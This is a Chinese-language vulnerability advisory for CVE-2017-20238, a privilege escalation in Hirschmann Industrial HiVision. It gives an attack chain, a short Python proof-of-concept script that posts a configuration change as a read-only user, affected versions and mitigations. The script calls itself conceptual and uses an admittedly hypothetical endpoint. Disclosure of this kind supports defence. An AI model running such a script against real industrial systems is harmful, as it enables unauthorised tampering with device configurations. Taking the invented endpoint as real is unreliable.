IPBUF安全漏洞报告
English
CVE-2017-20238 CVSS 7.1 高危

CVE-2017-20238 Hirschmann HiVision权限提升漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2017-20238
漏洞类型
权限提升
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Hirschmann Industrial HiVision

相关标签

权限提升访问控制Hirschmann工业控制CVE-2017-20238

漏洞概述

Hirschmann Industrial HiVision软件在特定版本中存在严重的授权绕过漏洞。该漏洞源于系统未正确实施访问控制机制,导致拥有只读权限的低权限用户能够通过Web界面或SNMP浏览器等替代接口绕过安全限制,非法获取写入权限。攻击者可利用此漏洞修改受管设备的配置,对设备完整性造成严重影响。

技术细节

该漏洞属于逻辑缺陷导致的权限提升。Hirschmann Industrial HiVision在处理用户请求时,对接口的权限校验存在不一致性。虽然用户被分配了只读角色,但在某些特定API端点或通过SNMP协议操作时,系统未能验证用户的实际操作权限。攻击者首先以只读用户身份登录系统,然后利用Web界面或SNMP工具发送旨在修改配置的请求(如更改网络设置、用户权限等)。由于服务器端仅依赖用户会话状态而未对具体的写操作进行二次鉴权,导致请求被成功执行。这种绕过行为使得攻击者无需管理员权限即可破坏系统完整性。

攻击链分析

STEP 1
1. 信息收集与初始访问
攻击者获取目标设备的访问权限,并使用低权限(只读)账户登录Hirschmann Industrial HiVision管理界面。
STEP 2
2. 漏洞利用
攻击者利用Web界面或SNMP浏览器,向系统发送修改设备配置的请求,利用系统未对写操作进行严格授权检查的缺陷。
STEP 3
3. 权限提升与配置篡改
系统接受请求并执行配置修改,只读用户成功获得了写权限,更改了关键设备参数。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual PoC for CVE-2017-20238 # This script demonstrates how a read-only user might trigger a configuration change. TARGET_URL = "https://<target-ip>/api/config" # Hypothetical endpoint USERNAME = "readonly_user" PASSWORD = "readonly_pass" session = requests.Session() # Step 1: Authenticate as a low-privilege user login_payload = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/login", json=login_payload, verify=False) if login_response.status_code == 200: print("[+] Login successful as read-only user.") # Step 2: Attempt to modify configuration (Privilege Escalation) # Exploiting the improper authorization on the write interface config_payload = { "setting": "critical_config", "value": "malicious_value" } exploit_response = session.post(f"{TARGET_URL}/update", json=config_payload, verify=False) if exploit_response.status_code == 200: print("[+] Configuration modified successfully! Vulnerability confirmed.") else: print("[-] Failed to modify configuration.") else: print("[-] Login failed.")

影响范围

Hirschmann Industrial HiVision 06.0.00 - 06.0.05
Hirschmann Industrial HiVision 07.0.00

防御指南

临时缓解措施
如果无法立即升级补丁,建议在网络层面严格限制对Web管理界面(端口80/443)和SNMP端口(161/162)的访问,仅允许受信任的管理IP地址连接。同时,应定期审计设备配置日志,检查是否有非授权的配置变更行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表